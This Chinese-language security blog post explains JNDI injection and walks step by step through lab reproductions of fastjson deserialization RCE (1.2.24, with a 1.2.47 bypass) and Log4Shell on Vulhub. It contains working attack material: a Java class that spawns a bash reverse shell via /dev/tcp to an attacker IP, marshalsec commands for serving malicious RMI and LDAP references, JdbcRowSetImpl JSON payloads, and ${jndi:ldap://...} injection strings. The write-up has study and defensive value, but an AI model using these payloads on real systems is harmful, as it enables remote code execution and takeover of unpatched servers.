JNDI介绍


Java命名和目录接口是Java编程语言中接口的名称( JNDI )。它是一个API(应用程序接口),与服务器一起工作,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。

可以使用命名约定从数据库获取文件。JNDI为Java⽤户提供了使⽤Java编码语⾔在Java中搜索对象的⼯具。

简单来说呢,JNDI相当与是Java里面的一个api,它可以通过命名来查找数据和对象。



JNDI注入原理


JNDI中有两个方法:

  • bind() :作用是将名称绑定到对象里面

  • lookup() :作用是通过名字检索执行的对象

JNDI注入简单来说就是在JNDI接口在初始化时,如果lookup()方法的参数可控,攻击者就可以将恶意的url传入参数加载恶意的类。



import javax.naming.InitialContext;import javax.naming.NamingException;
public class jndi {    public static void main(String[] args) throws NamingException {        String uri = "rmi://127.0.0.1:1099/work";        InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用        initialContext.lookup(uri);//获取指定的远程对象    }}


jndi注入利用常见的两种方法是JNDI+RMI和JNDI+LDAP注入




JNDI+RMI


RMI远程调用是指,一个JVM中的代码可以通过网络实现远程调用另一个JVM的某个方法

攻击者可以构造payload:rmi://evilserver:9999/payload 来加载恶意的类。

**这里注意,在JDK 6u132, JDK 7u122, JDK 8u113及其之后版本中,系统属性 

com.sun.jndi.rmi.object.trustURLCodebase

com.sun.jndi.cosnaming.object.trustURLCodebase

默认值为 **false,即默认不允许从远程的 Codebase 加载 Reference 工厂类。目标环境需要JDK符合版本,或者将这个属性设置为 true 才能使用 JNDI+RMI注入

具体的利用过程通过fastjson反序列化漏洞来演示



JNDI+LDAP


LDAP(Light Directory Access Portocol),它是基于X.500标准的跨平台的轻量级目录访问协议。

LDAP协议主要用于单点登录SSO(Single Sign on),一个典型案例是:学校的单点登录系统,只需要在这里登录,则教务、WebVPN、校园网等系统都可以直接访问,不需要登录

LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址:ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。

JDK 6u211,7u201, 8u191, 11.0.1之后com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false

具体的利用过程通过log4j2漏洞来演示

网上有张图就很清晰的标注了利用限制




fastjson 1.2.24 反序列化导致任意命令执行漏洞


简介:fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

影响版本:Fastjson<=1.2.24

漏洞原因:反序列未做限制,可以返序列化任意类型的class文件,导致任意代码执行。

环境:JDK1.8.102、Vulhub - Docker[1]

以下是java反序列化相关函数

| 函数 | 作用 |

| --- | --- |

| JSON.toJSONString(Object) | 将对象序列化成json格式 |

| JSON.toJSONString(Object,SerializerFeature.WriteClassName) | 将对象序列化成json格式,并且记录了对象所属的类的信息 |

| JSON.parse(Json) | 将json格式返回为对象(但是反序列化类对象没有@Type时会报错) |

| JSON.parseObject(Json) | 返回对象是com.alibaba.fastjson.JSONObject类 |

| JSON.parseObject(Json,Object class) | 返回对象会根据json中的@Type来决定 |

| JSON.parseObject(Json,User.class,

Feature.SupportNonPublicField) | 会把Json数据对应的类中的私有成员也给还原 |

该漏洞利用方式有两种

  • 通过JSON.parseObject()这个函数通过json中的类设置成com.sun.org.apache.xalan.internal.xsltc.trax.Templateslmpl并构造特定的方法达到命令执行

  • 通过JNDI注入

本篇文章主要通过JNDI注入分析复现

大概的过程为:首先在本地开启恶意的rmi服务(rmi://evilserver:1099),并绑定恶意类(evilobj),恶意类中存放着可以执行任意命令的java程序。找到fastjson组件入口(一般是传json字符串的地方),传入



{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evilserver:1099/evilobj","autoCommit":true}


即可完成漏洞利用。

docker打开环境,可以看到页面是json格式



那么如何判断Fastjson框架呢,有一种简单的方法

抓取一个数据包,修改成POST提交方式,并发送一个不完整的Json数据包,若返回了500报错页面,则该网站是使用了fastjson框架



若无回显也可以使用dnslog判断



{"1_Ry":{"@type":"java.net.Inet4Address","val":"dnslog地址"}}




复现前需要安装指定版本的java,若没安装参考这篇文章kali中安装多版本jdk[2](注意javac也是一样,不然编译好的class文件也无法利用)

1、上传shell.java,并编译:javac shell.java,然后将shell文件放在http的服务上

(这里的http服务亲测开启kali自带的apache服务不行,我后面使用了python开启http服务)



python -m SimpleHTTPServer //python2 python -m http.server      //python3



import java.lang.Runtime;import java.lang.Process;public class shell{  static{    try{      Runtime rt = Runtime.getRuntime();      String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.111.128/9999 0>&1"};      Process pc = rt.exec(commands);      pc.waitFor();    } catch (Exception e) {      //do nothing    }  }}



2、下载maven



3、下载mbechler/marshalsec [3] ,下载好后需要将marshalsec项目进行编译



mvn clean package -DskipTests



4、编译好后,借助marshalsec项目制定加载远程类 shell.class



java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.111.128:8000/#shell" 7777



5、发送payload,调用远程恶意类



{    "1_Ry":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://192.168.111.128:7777/shell",        "autoCommit":true    }}



终于成功了

总结:此次复现踩了很多坑,但对JNDI+RMI注入的理解也更深刻,此次复现只演示了反弹shelll,更改payload可以执行任意命令这里就不继续演示了。

主要有两个坑:

  • 一是注意JAVA和JAVAC版本

  • 二是使用python开启http服务



fastjson 1.2.47远程命令执行漏洞


这里再提一嘴Fastjson 1.2.47反序列化其实就是1.2.24的绕过,1.2.47增加了checkAutoType()函数进行@type字段的检查

具体payload如下,利用方法也是差不多的,这里就不详细演示了



{    "a":{        "@type":"java.lang.Class",        "val":"com.sun.rowset.JdbcRowSetImpl"    },    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://VPS地址:端口/Exploit",  #这里的Exploit不能变        "autoCommit":true    }}


(就在写这篇文章的时候Fastjson≤1.2.80又爆出了一个绕过默认autoType关闭限制进行远程命令执行)




Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)


漏洞成因:Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

环境:vulhub [4] ,JDK1.8_102

Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。

这里还是要再提一下,因为使用的方法是JNDI+LDAP注入的方式,所以JDK版本需要小于6u211,7u201, 8u191, 11.0.1

启动环境后访问8983端口即可看到Apache Solr的后台页面



漏洞复现攻击大致流程如下:

  1. 首先攻击者遭到存在风险的接口(接口会将前端输入直接通过日志打印出来),然后向该接口发送攻击内容:${jndi:ldap://localhost:9999/Test}。

  2. 被攻击服务器接收到该内容后,通过Logj42工具将其作为日志打印。

  3. 此时Log4j2会解析${},读取出其中的内容。判断其为Ldap实现的JNDI。于是调用Java底层的Lookup方法,尝试完成Ldap的Lookup操作。

  4. Java底层请求Ldap服务器(恶意服务器),得到了Codebase地址,告诉客户端去该地址获取他需要的类。

  5. Java请求Codebase服务器(恶意服务器)获取到对应的类(恶意类),并在本地加载和实例化(触发恶意代码)。

接下来开始复现

首先使用其作为管理员接口的action参数值发送如下数据包验证是否会解析



/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com}



在vulnhub中使用了JNDI 注入利用工具 [5] 进行漏洞利用,这里我还是使用mbechler/marshalsec [3] 进行复现,步骤和fastjson的差不多

首先还是先使用python启用一个http服务,将shell.java编译成class文件放入http服务上



import java.lang.Runtime;import java.lang.Process;public class shell{  static{    try{      Runtime rt = Runtime.getRuntime();      String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.111.128/9999 0>&1"};      Process pc = rt.exec(commands);      pc.waitFor();    } catch (Exception e) {      //do nothing    }  }}


使用marshalsec搭建Ldap服务



java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.111.128:8000/#shell" 7777



nc监听,反弹shell



${jdni:ldap://192.168.111.128:7777/shell}



总结:JNDI常规注入对JDK版本还是有限制的,但是也有很多高版本的绕过方法,以后有时间会专门写一篇文章记录一下。


参考链接


[1] Vulhub - Docker:

https://vulhub.org/#/docs/remove/

[2] kali中安装多版本jdk:

https://blog.csdn.net/grb819/article/details/121633285

[3] mbechler/marshalsec:

https://github.com/mbechler/marshalsec

[4] vulhub:

https://github.com/vulhub/vulhub/blob/master/log4j/CVE-2021-44228/README.zh-cn.md

[5] JNDI 注入利用工具

https://github.com/su18/JNDI